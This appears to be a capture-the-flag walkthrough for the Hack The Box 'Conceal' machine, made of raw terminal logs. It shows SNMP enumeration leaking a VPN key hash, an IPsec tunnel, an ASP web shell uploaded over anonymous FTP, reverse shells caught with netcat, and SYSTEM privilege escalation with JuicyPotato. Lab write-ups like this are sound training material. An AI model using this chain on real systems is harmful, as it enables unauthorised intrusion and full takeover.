┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=1000010.10.10.116 -oG allports -Pn Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-15 00:10 CST Nmap scan report for10.10.10.116 Host is up. All 65535 scanned ports on 10.10.10.116 are in ignored states. Not shown: 65535 filtered tcp ports (no-response)
Nmap done: 1 IP address (1 host up) scanned in 14.73 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=1000010.10.10.116 -oG allports1 -Pn -sU Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-15 00:11 CST Nmap scan report for10.10.10.116 Host is up (0.20s latency). Not shown: 65533 open|filtered udp ports (no-response) PORT STATE SERVICE 161/udp open snmp 500/udp open isakmp
Nmap done: 1 IP address (1 host up) scanned in 14.70 seconds
PORT STATE SERVICE VERSION 161/udp open snmp SNMPv1 server (public) | snmp-sysdescr: Hardware: AMD64 Family 25 Model 1 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free) |_ System uptime: 8m2.90s (48290 timeticks) | snmp-win32-users: | Administrator | DefaultAccount | Destitute |_ Guest | snmp-win32-software: | Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161; 2021-03-17T15:16:36 | Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161; 2021-03-17T15:16:36 |_ VMware Tools; 2021-03-17T15:16:36 500/udp open isakmp? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port500-UDP:V=7.94SVN%I=7%D=4/15%Time=661C0068%P=aarch64-unknown-linux- SF:gnu%r(IPSEC_START,38,"1'\xfc\xb08\x10\x9e\x89\xfcx\x91q\xb2\xc9\xa1\xf2 SF:\x0b\x10\x05\x009p\xe6\x9c\0\0\x008\0\0\0\x1c\0\0\0\x01\x01\x10\0\x0e1' SF:\xfc\xb08\x10\x9e\x89\xfcx\x91q\xb2\xc9\xa1\xf2"); Service Info: Host: Conceal
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 128.28 seconds
[+] Try to connect to 10.10.10.116:161 using SNMPv1 and community 'public'
[*] System information:
Host IP address : 10.10.10.116 Hostname : Conceal Description : Hardware: AMD64 Family 25 Model 1 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free) Contact : IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43 Location : - Uptime snmp : 00:14:28.68 Uptime system : 00:14:17.89 System date : 2024-4-14 09:17:17.1 Domain : WORKGROUP
[*] User accounts:
Guest Destitute Administrator DefaultAccount
[*] Network information:
IP forwarding enabled : no Default TTL : 128 TCP segments received : 190877 TCP segments sent : 8 TCP segments retrans : 4 Input datagrams : 385239 Delivered datagrams : 288540 Output datagrams : 672
[*] Network interfaces:
Interface : [ up ] Software Loopback Interface 1 Id : 1 Mac Address : ::::: Type : softwareLoopback Speed : 1073 Mbps MTU : 1500 In octets : 0 Out octets : 0
Interface : [ down ] WAN Miniport(IKEv2) Id : 2 Mac Address : ::::: Type : unknown Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0
Interface : [ down ] WAN Miniport(PPTP) Id : 3 Mac Address : ::::: Type : unknown Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0
Interface : [ down ] Microsoft Kernel Debug Network Adapter Id : 4 Mac Address : ::::: Type : ethernet-csmacd Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0
Interface : [ down ] WAN Miniport(L2TP) Id : 5 Mac Address : ::::: Type : unknown Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0
Interface : [ down ] Teredo Tunneling Pseudo-Interface Id : 6 Mac Address : 00:00:00:00:00:00 Type : unknown Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0
Interface : [ down ] WAN Miniport(IP) Id : 7 Mac Address : ::::: Type : ethernet-csmacd Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0
Interface : [ down ] WAN Miniport(SSTP) Id : 8 Mac Address : ::::: Type : unknown Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0
Interface : [ down ] WAN Miniport(IPv6) Id : 9 Mac Address : ::::: Type : ethernet-csmacd Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0
Interface : [ down ] WAN Miniport(PPPOE) Id : 10 Mac Address : ::::: Type : ppp Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0
Interface : [ down ] WAN Miniport(Network Monitor) Id : 11 Mac Address : ::::: Type : ethernet-csmacd Speed : 0 Mbps MTU : 0 In octets : 0 Out octets : 0
Interface : [ up ] vmxnet3 Ethernet Adapter Id : 12 Mac Address : 00:50:56:b9:84:25 Type : ethernet-csmacd Speed : 4294 Mbps MTU : 1500 In octets : 18419940 Out octets : 60812
Interface : [ up ] vmxnet3 Ethernet Adapter-WFP Native MAC Layer LightWeight Filter-0000 Id : 13 Mac Address : 00:50:56:b9:84:25 Type : ethernet-csmacd Speed : 4294 Mbps MTU : 1500 In octets : 18419940 Out octets : 60812
Interface : [ up ] vmxnet3 Ethernet Adapter-QoS Packet Scheduler-0000 Id : 14 Mac Address : 00:50:56:b9:84:25 Type : ethernet-csmacd Speed : 4294 Mbps MTU : 1500 In octets : 18419940 Out octets : 60812
Interface : [ up ] vmxnet3 Ethernet Adapter-WFP 802.3 MAC Layer LightWeight Filter-0000 Id : 15 Mac Address : 00:50:56:b9:84:25 Type : ethernet-csmacd Speed : 4294 Mbps MTU : 1500 In octets : 18419940 Out octets : 60812
[*] Network IP:
Id IP Address Netmask Broadcast 12 10.10.10.116 255.255.255.0 1 1 127.0.0.1 255.0.0.0 1
Index Name 0 Power 1 Server 2 Themes 3 IP Helper 4 DNS Client 5 Data Usage 6 Superfetch 7 DHCP Client 8 Time Broker 9 TokenBroker 10 Workstation 11 SNMP Service 12 User Manager 13 VMware Tools 14 Windows Time 15 CoreMessaging 16 Plug and Play 17 Print Spooler 18 Windows Audio 19 SSDP Discovery 20 Task Scheduler 21 Windows Search 22 Windows Update 23 Security Center 24 Storage Service 25 Windows Firewall 26 CNG Key Isolation 27 COM+ Event System 28 Windows Event Log 29 IPsec Policy Agent 30 Geolocation Service 31 Group Policy Client 32 RPC Endpoint Mapper 33 Data Sharing Service 34 Device Setup Manager 35 Network List Service 36 System Events Broker 37 User Profile Service 38 Base Filtering Engine 39 Local Session Manager 40 Microsoft FTP Service 41 TCP/IP NetBIOS Helper 42 Cryptographic Services 43 Diagnostic System Host 44 COM+ System Application 45 Diagnostic Service Host 46 Shell Hardware Detection 47 State Repository Service 48 Diagnostic Policy Service 49 Network Connection Broker 50 Security Accounts Manager 51 Network Location Awareness 52 Windows Connection Manager 53 Windows Font Cache Service 54 Remote Procedure Call(RPC) 55 DCOM Server Process Launcher 56 Microsoft Storage Spaces SMP 57 Windows Audio Endpoint Builder 58 Application Host Helper Service 59 Network Store Interface Service 60 Client License Service(ClipSVC) 61 Distributed Link Tracking Client 62 AppX Deployment Service(AppXSVC) 63 System Event Notification Service 64 World Wide Web Publishing Service 65 Connected Devices Platform Service 66 Windows Defender Antivirus Service 67 Windows Management Instrumentation 68 Windows Process Activation Service 69 Distributed Transaction Coordinator 70 IKE and AuthIP IPsec Keying Modules 71 VMware CAF Management Agent Service 72 VMware Physical Disk Helper Service 73 Background Intelligent Transfer Service 74 Background Tasks Infrastructure Service 75 Program Compatibility Assistant Service 76 VMware Alias Manager and Ticket Service 77 Connected User Experiences and Telemetry 78 WinHTTP Web Proxy Auto-Discovery Service 79 Windows Defender Security Centre Service 80 Windows Push Notifications System Service 81 Windows Defender Antivirus Network Inspection Service 82 Windows Driver Foundation - User-mode Driver Framework
Description : ["C:\\ Label: Serial Number 91180ed"] Device id : [#<SNMP::Integer:0x0000ffff997a83e0 @value=1>] Filesystem type : ["unknown"] Device unit : [#<SNMP::Integer:0x0000ffff997ae5d8 @value=4096>] Memory size : 14.51 GB Memory used : 10.08 GB
Description : ["Virtual Memory"] Device id : [#<SNMP::Integer:0x0000ffff999e9398 @value=2>] Filesystem type : ["unknown"] Device unit : [#<SNMP::Integer:0x0000ffff999ef748 @value=65536>] Memory size : 3.12 GB Memory used : 990.75 MB
Description : ["Physical Memory"] Device id : [#<SNMP::Integer:0x0000ffff99a1a560 @value=3>] Filesystem type : ["unknown"] Device unit : [#<SNMP::Integer:0x0000ffff99a18918 @value=65536>] Memory size : 2.00 GB Memory used : 993.44 MB
[*] File system information:
Index : 1 Mount point : Remote mount point : - Access : 1 Bootable : 0
[*] Device information:
Id Type Status Descr 1 unknown running Microsoft XPS Document Writer v4 2 unknown running Microsoft Print To PDF 3 unknown running Microsoft Shared Fax Driver 4 unknown running Unknown Processor Type 5 unknown running Unknown Processor Type 6 unknown unknown Software Loopback Interface 1 7 unknown unknown WAN Miniport (IKEv2) 8 unknown unknown WAN Miniport (PPTP) 9 unknown unknown Microsoft Kernel Debug Network Adapter 10 unknown unknown WAN Miniport (L2TP) 11 unknown unknown Teredo Tunneling Pseudo-Interface 12 unknown unknown WAN Miniport (IP) 13 unknown unknown WAN Miniport (SSTP) 14 unknown unknown WAN Miniport (IPv6) 15 unknown unknown WAN Miniport (PPPOE) 16 unknown unknown WAN Miniport (Network Monitor) 17 unknown unknown vmxnet3 Ethernet Adapter 18 unknown unknown vmxnet3 Ethernet Adapter-WFP Native MAC Layer LightWeight Filter 19 unknown unknown vmxnet3 Ethernet Adapter-QoS Packet Scheduler-0000 20 unknown unknown vmxnet3 Ethernet Adapter-WFP 802.3 MAC Layer LightWeight Filter- 21 unknown running Fixed Disk 22 unknown running IBM enhanced (101- or 102-key) keyboard, Subtype=(0)
[*] Software components:
Index Name 1 Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 2 VMware Tools 3 Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161
ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits.
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo ipsec up conceal initiating Main Mode IKE_SA conceal[1] to 10.10.10.116 generating ID_PROT request 0 [ SA V V V V V ] sending packet: from 10.10.14.30[500] to 10.10.10.116[500] (176 bytes) received packet: from 10.10.10.116[500] to 10.10.14.30[500] (208 bytes) parsed ID_PROT response 0 [ SA V V V V V V ] received MS NT5 ISAKMPOAKLEY vendor ID received NAT-T(RFC 3947) vendor ID received draft-ietf-ipsec-nat-t-ike-02\n vendor ID received FRAGMENTATION vendor ID received unknown vendor ID: fb:1d:e3:cd:f3:41:b7:ea:16:b7:e5:be:08:55:f1:20 received unknown vendor ID: e3:a5:96:6a:76:37:9f:e7:07:22:82:31:e5:ce:86:52 selected proposal: IKE:3DES_CBC/HMAC_SHA1_96/PRF_HMAC_SHA1/MODP_1024 generating ID_PROT request 0 [ KE No NAT-D NAT-D ] sending packet: from 10.10.14.30[500] to 10.10.10.116[500] (244 bytes) received packet: from 10.10.10.116[500] to 10.10.14.30[500] (260 bytes) parsed ID_PROT response 0 [ KE No NAT-D NAT-D ] generating ID_PROT request 0 [ ID HASH N(INITIAL_CONTACT) ] sending packet: from 10.10.14.30[500] to 10.10.10.116[500] (100 bytes) received packet: from 10.10.10.116[500] to 10.10.14.30[500] (68 bytes) parsed ID_PROT response 0 [ ID HASH ] IKE_SA conceal[1] established between 10.10.14.30[10.10.14.30]...10.10.10.116[10.10.10.116] scheduling reauthentication in 10075s maximum IKE_SA lifetime 10615s generating QUICK_MODE request 2660796471 [ HASH SA No ID ID ] sending packet: from 10.10.14.30[500] to 10.10.10.116[500] (164 bytes) received packet: from 10.10.10.116[500] to 10.10.14.30[500] (188 bytes) parsed QUICK_MODE response 2660796471 [ HASH SA No ID ID ] selected proposal: ESP:3DES_CBC/HMAC_SHA1_96/NO_EXT_SEQ CHILD_SA conceal{1} established with SPIs c06195be_i 6782a96a_o and TS 10.10.14.30/32 === 10.10.10.116/32[tcp] connection 'conceal' established successfully
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=1000010.10.10.116 -oG allports -Pn -sT Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-15 03:37 CST Warning: 10.10.10.116 giving up on port because retransmission cap hit (10). Nmap scan report for10.10.10.116 Host is up (0.12s latency). Not shown: 50553 filtered tcp ports (no-response), 14974 closed tcp ports (conn-refused) PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 49664/tcp open unknown 49667/tcp open unknown 49669/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 79.06 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p21,80,135,139,445,49664,49667,49669 --min-rate=10000 -sC -sV -sT -Pn 10.10.10.116 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-15 03:40 CST Nmap scan report for10.10.10.116 Host is up (0.12s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: IIS Windows |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 49664/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 74.04 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ ftp 10.10.10.116 Connected to 10.10.10.116. 220 Microsoft FTP Service Name(10.10.10.116:kali): anonymous 331 Anonymous access allowed, send identity(e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> ls 229 Entering Extended Passive Mode(|||49676|) 125 Data connection already open; Transfer starting. 226 Transfer complete. ftp> put hash local: hash remote: hash 229 Entering Extended Passive Mode(|||49677|) 125 Data connection already open; Transfer starting. 100% |*******************************************************************************************************************************************| 34342.29 KiB/s --:-- ETA 226 Transfer complete. 34 bytes sent in 00:00 (0.26 KiB/s) ftp> ls 229 Entering Extended Passive Mode(|||49678|) 125 Data connection already open; Transfer starting. 04-14-2401:17PM 34 hash 226 Transfer complete. ftp>
┌──(kali㉿offsec)-[~/Desktop] └─$ ftp 10.10.10.116 Connected to 10.10.10.116. 220 Microsoft FTP Service Name (10.10.10.116:kali): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> ls 229 Entering Extended Passive Mode (|||49684|) 125 Data connection already open; Transfer starting. 226 Transfer complete. ftp> put ./cmdasp.asp local: ./cmdasp.asp remote: ./cmdasp.asp 229 Entering Extended Passive Mode(|||49685|) 150 Opening ASCII mode data connection. 100% |*******************************************************************************************************************************************| 1581 11.59 MiB/s --:-- ETA 226 Transfer complete. 1581 bytes sent in 00:00 (12.15 KiB/s) ftp>
┌──(kali㉿offsec)-[~/Desktop] └─$ rlwrap nc -lnvp 443 listening on [any] 443 ... connect to [10.10.14.30] from (UNKNOWN) [10.10.10.116] 49696 Windows PowerShell running as user CONCEAL$ on CONCEAL Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\Public> cd ../test PS C:\Users\test> ls PS C:\Users\test> ls : Access to the path 'C:\Users\test' is denied. At line:1 char:1 + ls + ~~ + CategoryInfo : PermissionDenied: (C:\Users\test:String) [Get-ChildItem], Unauthori zedAccessException + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildIt emCommand
PS C:\Users\test> cd ../"WWW Anon Access" PS C:\Users\WWW Anon Access> ls PS C:\Users\WWW Anon Access> ls : Access to the path 'C:\Users\WWW Anon Access' is denied. At line:1 char:1 + ls + ~~ + CategoryInfo : PermissionDenied: (C:\Users\WWW Anon Access:String) [Get-ChildItem] , UnauthorizedAccessException + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildIt emCommand
PS C:\Users\WWW Anon Access> cd ../ PS C:\Users> ls
PS C:\Users> cd Destiute PS C:\Users> cd : Cannot find path 'C:\Users\Destiute' because it does not exist. At line:1 char:1 + cd Destiute + ~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (C:\Users\Destiute:String) [Set-Location], ItemNotF oundException + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.SetLocationCommand
PS C:\Users>
26、还是获取下第一个flag吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
PS C:\> cd C:\users\destitute\desktop\ PS C:\users\destitute\desktop> ls
Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeShutdownPrivilege Shut down the system Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled PS C:\users\destitute\desktop> PS C:\users\destitute\desktop>
Mandatory args: -t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both -p <program>: program to launch -l <port>: COM server listen port
Optional args: -m <ip>: COM server listen address(default127.0.0.1) -a <argument>: command line argument to pass to program(defaultNULL) -k <ip>: RPC server ip address(default127.0.0.1) -n <port>: RPC server listen port(default135) -c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097}) -z only test CLSID and print token's user PS C:\users\destitute\desktop> .\JuicyPotato.exe -t * -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}" -p .\shell.bat -l 1337 Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337 ...... [+] authresult 0 {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK PS C:\users\destitute\desktop>
┌──(kali㉿offsec)-[~/Desktop] └─$ rlwrap nc -lnvp 10086 listening on [any] 10086 ... connect to [10.10.14.30] from (UNKNOWN) [10.10.10.116] 49708
PS C:\Windows\system32> whoami nt authority\system PS C:\Windows\system32>
